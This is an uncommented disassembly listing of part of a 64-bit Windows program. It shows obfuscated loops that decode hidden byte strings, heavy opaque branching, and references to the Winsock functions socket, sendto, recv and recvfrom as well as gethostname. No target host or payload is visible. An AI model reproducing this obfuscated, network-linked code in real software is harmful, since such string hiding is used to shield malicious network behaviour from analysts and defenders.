lea edi, [rcx + rcx]
add dil, r9b
jmp 0x140048f1a
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x140048e43
lea ecx, [r11 - 0x20]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x20
dec r11
inc r11
jmp 0x140048553
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400489bd
movzx r10d, r11b
lea edx, [r10 - 0x6c]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0xc
jmp 0x140048f9e
movzx r10d, r11b
lea edx, [r10 + 0x48]
movzx eax, r9b
and al, dl
movzx ecx, byte [rbp + r11 - 0x60]
sub cl, al
add cl, 4
lea edi, [rcx + rcx]
jmp 0x140048f1a
lea edx, [r11 - 0x5e]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, byte [rbp + r11 - 0x60]
sub dil, 0x6e
add dil, dl
jmp 0x140049034
lea ecx, [r11 + 0x5b]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x7d
movzx eax, byte [rbp + r11 - 0x60]
add rax, r8
add r11, rax
inc r11
jmp 0x140048553
lea edx, [r11 - 0x59]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x6f
add dil, dl
jmp 0x140049034
movzx r10d, r11b
lea edx, [r10 - 0x67]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x2f
add dil, dl
sub r10b, 0xb
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
add r9b, 0x4d
add r9b, dil
add r9b, r10b
mov byte [rbp + r11 - 0x60], r9b
add rbx, r8
jmp 0x140049001
lea ecx, [r11 + 0x3f]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 0x47
dec r11
inc r11
jmp 0x140048553
movzx r10d, r11b
lea edx, [r10 - 0x75]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x33
jmp 0x140048f9e
movzx r10d, r11b
lea edx, [r10 - 0x29]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x1f
add dil, dl
sub r10b, 0x65
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
sub r9b, 0x3d
add r9b, r10b
mov byte [rbp + r11 - 0x60], r9b
inc r8
dec r11
inc r11
jmp 0x140048553
lea ecx, [r11 + 0x23]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 0xb
dec r11
inc r11
jmp 0x140048553
lea rcx, [r11 + r14]
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea edi, [rcx + rdx]
add dil, 0x6d
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140048553
lea rcx, [r11 + r12]
movzx r9d, dl
and dl, cl
add dl, dl
movzx edi, r9b
sub dil, dl
sub dil, 0x1d
add dil, cl
lea ecx, [r11 + 0x4f]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
sub cl, 0x29
add cl, r9b
movzx eax, cl
mov byte [rbp + r11 - 0x60], al
inc r8
add rax, r8
sub r11, rax
lea edx, [r11 - 4]
movzx eax, dl
and al, r9b
mov ecx, recvfrom
sub cl, al
add cl, cl
add cl, dl
add cl, r9b
mov byte [rbp + r11 - 0x60], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 - 0x60]
add rax, r8
add r11, rax
inc r11
jmp 0x140048553
lea rcx, [r11 + r15]
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea edi, [rcx + rdx]
sub dil, 0x31
movzx eax, byte [rbp + r11 - 0x60]
add rax, r8
add r11, rax
inc r11
jmp 0x140048553
sub r11b, 0x1f
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
lea edi, [r11 + r9]
sub dil, 0x27
jmp 0x140048550
sub r11b, 0x79
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
lea edi, [r11 + r9]
add dil, 0x4f
jmp 0x140048540
lea rdx, [rbp + 0x144a3dc]
jmp 0x140049112
lea rdx, [rbp + 0x45c889]
jmp 0x140049112
lea rdx, [rbp - 0x60]
lea rcx, [rbp + 0x1b8]
call fcn.1400432c0
mov rsi, rax
mov dword [rbp + 0x20], 0xa08730b
mov word [rbp + 0x24], 0x1009
mov byte [rbp + 0x26], 0x5c
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x27], xmm0
mov dword [rbp + 0x37], eax
mov byte [rbp + 0x3b], al
movabs r14, 0xfa3313b27d568d4b
movabs r12, 0xe2ff627c72b0c277
movabs r15, 0xee993b177803a7e1
movzx edi, byte [rsp + 0x20]
call fcn.140004d90
mov rbx, qword [rax]
call fcn.140004da0
mov r8, qword [rax]
nop dword [rax]
nop dword [rax + rax]
xor r11d, r11d
cmp r11, 0x1c
jae 0x140049c89
movzx r10d, byte [rbp + r11 + 0x20]
mov rdx, r10
cmp rbx, r11
ja 0x140049c80
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x1400491c2
lea rcx, [r11 + r14]
mov rax, rcx
and rax, r10
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, r10
sub dil, 0xd
jmp 0x140049200
je 0x140049c15
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140049bc2
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140049b90
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140049b55
lea rax, [r8 + 8]
cmp rbx, rax
je 0x140049b11
nop dword [rax]
cmp r8, r11
ja 0x140049c77
lea rax, [r8 + 0x7a]
cmp rbx, rax
jae 0x14004922a
lea ecx, [r11 + 0x27]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x11
jmp 0x140049270
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140049af5
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140049ad1
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140049ab2
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140049a97
lea rax, [r8 + 7]
cmp rbx, rax
je 0x140049a55
nop dword [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x140049780
nop dword [rax]
lea rax, [r8 + 0x2a]
cmp rbx, rax
je 0x14004975d
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140049735
lea rax, [r8 + 6]
cmp rbx, rax
je 0x140049710
lea rax, [r8 + 0xa]
cmp rbx, rax
je 0x1400496ed
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x1400496ce
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x1400496b3
lea rax, [r8 + 0x3e8]
cmp rbx, rax
je 0x140049695
lea rax, [r8 + 0x61]
cmp rbx, rax
je 0x14004967a
lea rax, [r8 + 0x5a]
cmp rbx, rax
je 0x140049650
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140049280
lea rbx, [r8 + 0x80]
lea r8, [rbx + 5]
lea rax, [r8 + 0x400]
cmp rbx, rax
jb 0x140049c5a
lea rax, [r8 + 0x7a]
cmp rbx, rax
jb 0x140049c3d
lea rax, [r8 + 0x80]
cmp rbx, rax
jb 0x140049416
lea rax, [r8 + 0x2a]
cmp rbx, rax
jb 0x140049607
lea rax, [r8 + 3]
cmp rbx, rax
jb 0x1400495bf
lea rax, [r8 + 6]
cmp rbx, rax
jb 0x140049581
lea rax, [r8 + 0xa]
cmp rbx, rax
jb 0x14004955e
lea rax, [r8 + 0x28]
cmp rbx, rax
jb 0x140049280
lea rbx, [r8 + 1]
lea r8, [rbx + 0x64]
lea rax, [r8 + 4]
cmp rbx, rax
ja 0x140049530
lea rax, [r8 + 8]
cmp rbx, rax
ja 0x140049511
lea rax, [r8 + 0x10]
cmp rbx, rax
ja 0x1400494ee
lea rax, [r8 + 0x40]
cmp rbx, rax
ja 0x1400494d3
lea rax, [r8 + 0x80]
cmp rbx, rax
ja 0x1400494b8
lea rax, [r8 + 0x400]
cmp rbx, rax
ja 0x140049499
lea rax, [r8 + 0x7a]
cmp rbx, rax
ja 0x140049478
lea rax, [r8 + 0x2a]
cmp rbx, rax
ja 0x140049454
lea rax, [r8 + 3]
cmp rbx, rax
ja 0x140049431
lea rax, [r8 + 6]
cmp rbx, rax
ja 0x140049280
lea rbx, [r8 + 0x1000]
lea r8, [rbx + 0xa]
jmp 0x140049280
lea ecx, [r11 - 0x73]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x25
jmp 0x140049193
lea edx, [r11 + 0x38]
movzx eax, dl
and al, r10b
mov ecx, 0x3c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
movzx r9d, r11b
jmp 0x140049b2b
lea ecx, [r11 - 0x5e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x6e
inc r8
dec r11
inc r11
jmp 0x140049183
lea ecx, [r11 + 0xc]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x54
dec r11
inc r11
jmp 0x140049183
lea ecx, [r11 + 0x76]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x3a
movzx r9d, r11b
jmp 0x140049b6f
lea ecx, [r11 - 0x20]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x20
jmp 0x140049ba6
lea ecx, [r11 + 0x4a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 6
jmp 0x140049ba9
lea edx, [r11 - 0x4c]
movzx eax, dl
and al, r10b
mov ecx, 0xa
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
movzx edx, r11b
jmp 0x140049a6e
lea edx, [r11 + 0x1e]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140049bd8
lea edx, [r11 - 0x78]
movzx eax, dl
and al, r10b
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
movzx eax, byte [rbp + r11 + 0x20]
add rax, r8
add r11, rax
inc r11
jmp 0x140049183
lea ecx, [r11 + 0x11]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x77
mov byte [rbp + r11 + 0x20], dil
inc r11
jmp 0x140049183
lea ecx, [r11 + 0x7b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x5d
cmp r8, 0x40
jb 0x140049574
movzx r9d, r11b
lea ecx, [r9 - 0x1e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, r10b
lea edi, [rcx*2 - 0x5c]
jmp 0x140049b2b
lea ecx, [r11 - 0x1b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x43
cmp rbx, 3
jae 0x140049a0d
lea rax, [r8 + 0x200]
cmp rbx, rax
jbe 0x14004995c
lea ecx, [r11 + 6]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x2a
jmp 0x140049597
lea ecx, [r11 + 0x4f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x29
lea rax, [r8 + rbx]
cmp rax, 0xa
je 0x140049a35
lea rax, [r8 + 0x41]
cmp rbx, rax
jbe 0x1400498af
lea ecx, [r11 - 0x21]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x19
jmp 0x1400495d5
lea ecx, [r11 - 0x16]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x66
movzx eax, byte [rbp + r11 + 0x20]
add rax, r8
add r11, rax
inc r11
jmp 0x140049183
lea ecx, [r11 + 0x54]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x4c
jmp 0x140049bd8
movzx edx, r11b
lea ecx, [rdx - 0x42]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x32
jmp 0x140049a6e
lea ecx, [r11 + 0x28]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x18
jmp 0x140049ba9
lea edx, [r11 - 0x6e]
movzx eax, dl
and al, r10b
mov ecx, 1
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140049ba6
movzx r9d, r11b
lea edx, [r9 - 4]
movzx eax, dl
and al, r10b
mov ecx, recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140049b6f
lea edx, [r11 + 0x66]
movzx eax, dl
and al, r10b
mov ecx, 0x1b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
dec r11
inc r11
jmp 0x140049183
lea edx, [r11 - 0x30]
movzx eax, dl
and al, r10b
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x140049183
movzx r9d, r11b
lea edx, [r9 + 0x3a]
movzx eax, dl
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140049b2b
lea rcx, [r8 + 2]
cmp rbx, rcx
jae 0x1400497a4
lea ecx, [r11 + 0x4b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0xd
jmp 0x14004961d
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400497d7
lea ecx, [r11 + 0x4e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x22
movzx eax, byte [rbp + r11 + 0x20]
add rax, r8
add r11, rax
inc r11
jmp 0x140049183
cmp rbx, rcx
jne 0x1400497fa
movzx edx, r11b
lea ecx, [rdx + 0x7a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x56
jmp 0x140049a6e
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140049822
lea edx, [r11 - 0x5a]
movzx eax, dl
and al, r10b
mov ecx, 0x3b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140049ba6
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14004984e
movzx r9d, r11b
lea edx, [r9 + 0x3c]
movzx eax, dl
and al, r10b
mov ecx, 0x2e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140049b6f
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14004987f
lea edx, [r11 + 0x68]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x140049183
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14004961d
movzx r9d, r11b
lea edx, [r9 - 2]
movzx eax, dl
and al, r10b
mov ecx, 7
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140049b2b
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400498d7
movzx r9d, r11b
lea ecx, [r9 + 0x75]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x33
jmp 0x140049b2b
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140049901
lea ecx, [r11 - 0x5f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x67
dec r11
inc r11
jmp 0x140049183
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140049925
lea ecx, [r11 - 0x33]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x65
jmp 0x140049ba6
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x1400495d5
lea ecx, [r11 + 0x25]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 3
movzx eax, byte [rbp + r11 + 0x20]
add rax, r8
add r11, rax
inc r11
jmp 0x140049183
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14004998f
lea ecx, [r11 - 0x64]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x44
movzx eax, byte [rbp + r11 + 0x20]
add rax, r8
add r11, rax
inc r11
jmp 0x140049183
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400499b3
lea ecx, [r11 + 0x32]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x5e
jmp 0x140049bd8
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x1400499e1
lea edx, [r11 + 0x20]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
dec r11
inc r11
jmp 0x140049183
lea rax, [r8 + 8]
cmp rbx, rax
jne 0x140049597
movzx r9d, r11b
lea ecx, [r9 + 0x4c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x14
jmp 0x140049b2b
movzx r9d, r11b
lea edx, [r9 + 0x78]
movzx eax, dl
and al, r10b
add al, al
movzx edi, byte [rbp + r11 + 0x20]
sub dil, al
sub dil, 0x48
add dil, r10b
add dil, dl
jmp 0x140049b6f
movzx edx, r11b
lea ecx, [rdx + 0xe]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, byte [rbp + r11 + 0x20]
lea edi, [r10 + rcx]
sub dil, 0x62
jmp 0x140049a6e
movzx edx, r11b
lea ecx, [rdx + 0x41]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x39
add dl, 0x59
movzx eax, dl
and al, r10b
add al, al
sub dl, al
sub dl, 0x6f
add dl, r10b
movzx eax, dl
mov byte [rbp + r11 + 0x20], al
inc r8
add rax, r8
sub r11, rax
jmp 0x140049bd8
lea ecx, [r11 - 0x55]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x53
jmp 0x140049ba9
movzx r9d, r11b
lea ecx, [r9 + 0x7f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x79
jmp 0x140049b6f
lea ecx, [r11 + 0x53]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x45
inc r8
dec r11
inc r11
jmp 0x140049183
movzx r9d, r11b
lea ecx, [r9 - 0x43]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x2b
jmp 0x140049b2b
movzx r9d, r11b
lea ecx, [r9 - 0x6f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 9
add r9b, 0x2d
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
sub r9b, 0x3b
add r9b, r10b
mov byte [rbp + r11 + 0x20], r9b
inc r8
dec r11
inc r11
jmp 0x140049183
movzx r9d, r11b
lea ecx, [r9 - 0x31]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x57
sub r9b, 0x3d
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
sub r9b, 0x55
add r9b, dil
add r9b, r10b
mov byte [rbp + r11 + 0x20], r9b
jmp 0x140049ba6
lea ecx, [r11 + 0x39]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x71
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140049183
lea rax, [r11 + r12]
movzx r10d, dl
and dl, al
add dl, dl
sub al, dl
lea edi, [r10 + rax]
sub dil, 0x41
lea ecx, [r11 - 0x5c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x7c
add cl, r10b
mov byte [rbp + r11 + 0x20], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0x20]
add rax, r8
add r11, rax
inc r11
jmp 0x140049183
lea rcx, [r11 + r15]
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea edi, [rcx + rdx]
sub dil, 0x27
movzx eax, byte [rbp + r11 + 0x20]
add rax, r8
add r11, rax
inc r11
jmp 0x140049183
sub r11b, 9
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edi, [r10 + r11]
add dil, 0x3f
jmp 0x140049180
add r11b, 0x61
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edi, [r10 + r11]
add dil, 0x59
jmp 0x140049164
lea rdx, [rbp + 0x166ee84]
jmp 0x140049c8d
lea rdx, [rbp + 0x13d7bcf]
jmp 0x140049c8d
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0x1d8]
call fcn.1400432c0
nop
mov rdx, rsi
mov rcx, rax
call fcn.140044e80
mov dword [rsp + 0x30], 0x4c7c4061
mov dword [rsp + 0x34], 0x700a7246
mov dword [rsp + 0x38], 0x13387646
mov dword [rsp + 0x3c], 0x6851544b
mov dword [rsp + 0x40], 0x585d176a
mov dword [rsp + 0x44], 0x60792d5f
mov dword [rsp + 0x48], 0x5f675f5c
mov dword [rsp + 0x4c], 0x2818247d
mov dword [rsp + 0x50], 0x652d1e22
mov dword [rsp + 0x54], 0xbf21262f
xor eax, eax
mov qword [rsp + 0x58], rax
mov dword [rsp + 0x60], eax
mov word [rsp + 0x64], ax
mov byte [rsp + 0x66], al
movabs rsi, 0x4d39c2753321ca23
movabs r14, 0xb707d61ecc301b3b
movabs r15, 0xe7ad475f99655e69
movzx edi, byte [rsp + 0x20]
nop dword [rax]
call fcn.140004d90
mov rbx, qword [rax]
call fcn.140004da0
mov r8, qword [rax]
xor r11d, r11d
cmp r11, 0x37
jae 0x14004a830
movzx r9d, byte [rsp + r11 + 0x30]
mov rdx, r9
cmp rbx, r11
ja 0x14004a827
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x140049d82
lea rcx, [r11 + rsi]
mov rax, rcx
and rax, r9
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, r9
add dil, 0xb
jmp 0x140049db0
je 0x14004a7bc
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14004a78f
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14004a773
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14004a72b
nop
cmp r8, r11
ja 0x14004a81e
lea rax, [r8 + 0x2a]
cmp rbx, rax
jae 0x140049dde
lea edx, [r11 - 0x21]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x19
add dil, dl
jmp 0x140049e12
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14004a70e
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14004a6e9
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14004a6c7
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14004a6ab
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x14004a397
nop
lea rax, [r8 + 9]
cmp rbx, rax
je 0x14004a377
lea rax, [r8 + 0x5a]
cmp rbx, rax
je 0x14004a352
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x14004a330
lea rax, [r8 + 0x7a]
cmp rbx, rax
je 0x14004a310
lea rax, [r8 + 0x40]
cmp rbx, rax
je 0x14004a2ee
lea rax, [r8 + 0x1000]
cmp rbx, rax
je 0x14004a2cf
lea rax, [r8 + 0x20]
cmp rbx, rax
je 0x14004a2af
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14004a290
lea rax, [r8 + 0xa]
cmp rbx, rax
je 0x14004a262
lea rax, [r8 + 0x2a]
cmp rbx, rax
je 0x140049e20
lea rbx, [r8 + 0x80]
lea r8, [rbx + 8]
lea rax, [r8 + 8]
cmp rbx, rax
jb 0x14004a801
lea rax, [r8 + 0x42]
cmp rbx, rax
jb 0x14004a7e4
lea rax, [r8 + 5]
cmp rbx, rax
jb 0x14004a00e
lea rax, [r8 + 0x61]
cmp rbx, rax
jb 0x140049fef
lea rax, [r8 + 3]
cmp rbx, rax
jb 0x140049fd0
lea rax, [r8 + 0x400]
cmp rbx, rax
jb 0x14004a211
lea rax, [r8 + 1]
cmp rbx, rax
jb 0x14004a1c7
lea rax, [r8 + 0x200]
cmp rbx, rax
jb 0x14004a182
lea rax, [r8 + 9]
cmp rbx, rax
jb 0x14004a15e
lea rax, [r8 + 0x64]
cmp rbx, rax
jb 0x140049e20
lea rbx, [r8 + 6]
lea r8, [rbx + 6]
lea rax, [r8 + 0x7a]
cmp rbx, rax
ja 0x14004a133
lea rax, [r8 + 0x40]
cmp rbx, rax
ja 0x14004a114
lea rax, [r8 + 0x1000]
cmp rbx, rax
ja 0x14004a0f4
lea rax, [r8 + 0x20]
cmp rbx, rax
ja 0x14004a0d8
lea rax, [r8 + 0x3e8]
cmp rbx, rax
ja 0x14004a0b9
lea rax, [r8 + 0xa]
cmp rbx, rax
ja 0x14004a099
lea rax, [r8 + 0x2a]
cmp rbx, rax
ja 0x14004a074
lea rax, [r8 + 8]
cmp rbx, rax
ja 0x14004a04c
lea rax, [r8 + 0x41]
cmp rbx, rax
ja 0x14004a02c
lea rax, [r8 + 5]
cmp rbx, rax
ja 0x140049e20
mov rbx, rax
lea r8, [rax + 0x61]
jmp 0x140049e20
lea edx, [r11 + 1]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 7
add dil, dl
jmp 0x140049e12
lea edx, [r11 - 0x45]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x1d
add dil, dl
jmp 0x140049db0
lea edx, [r11 + 0x75]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dl, 0x33
add dil, dl
jmp 0x140049d53
lea edx, [r11 - 8]
movzx eax, r9b
and al, dl
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
movzx r10d, r11b
jmp 0x14004a746
lea edx, [r11 - 0x4e]
movzx eax, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
inc r8
dec r11
inc r11
jmp 0x140049d43
lea edx, [r11 + 0x6c]
movzx eax, r9b
and al, dl
mov ecx, 6
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
dec r11
inc r11
jmp 0x140049d43
lea edx, [r11 + 0x26]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0xa
movzx r10d, r11b
jmp 0x14004a5f8
lea ecx, [r11 - 0x20]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x20
add rbx, r8
jmp 0x14004a7a3
lea ecx, [r11 - 0x66]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x36
jmp 0x14004a7a3
lea edx, [r11 + 0x54]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x4c
movzx r10d, r11b
jmp 0x14004a642
lea edx, [r11 + 0xe]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x62
add dil, dl
jmp 0x14004a66e
lea ecx, [r11 - 0x38]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x78
movzx eax, byte [rsp + r11 + 0x30]
add rax, r8
add r11, rax
inc r11
jmp 0x140049d43
lea ecx, [r11 + 0x19]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 0x51
mov byte [rsp + r11 + 0x30], dil
inc r11
jmp 0x140049d43
lea edx, [r11 - 0x2d]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x3b
add dil, dl
cmp r8, 0x28
jb 0x14004a175
movzx r10d, r11b
lea edx, [r10 - 0xe]
movzx eax, r9b
and al, dl
add al, al
movzx ecx, r9b
sub cl, al
add cl, dl
lea edi, [rcx*2 - 0x3c]
jmp 0x14004a749
lea edx, [r11 - 0x73]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x25
add dil, dl
cmp rbx, 0x7a
jae 0x14004a5dc
lea rax, [r8 + 0x40]
cmp rbx, rax
jbe 0x14004a552
lea edx, [r11 + 0x36]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x7a
jmp 0x14004a199
lea edx, [r11 + 0x47]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0xf
add dil, dl
lea rax, [r8 + rbx]
cmp rax, 0x41
je 0x14004a622
lea rax, [r8 + 0x41]
cmp rbx, rax
jbe 0x14004a476
lea edx, [r11 + 0x57]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x61
jmp 0x14004a1de
lea edx, [r11 + 0x3a]
movzx eax, r9b
and al, dl
mov ecx, gethostname
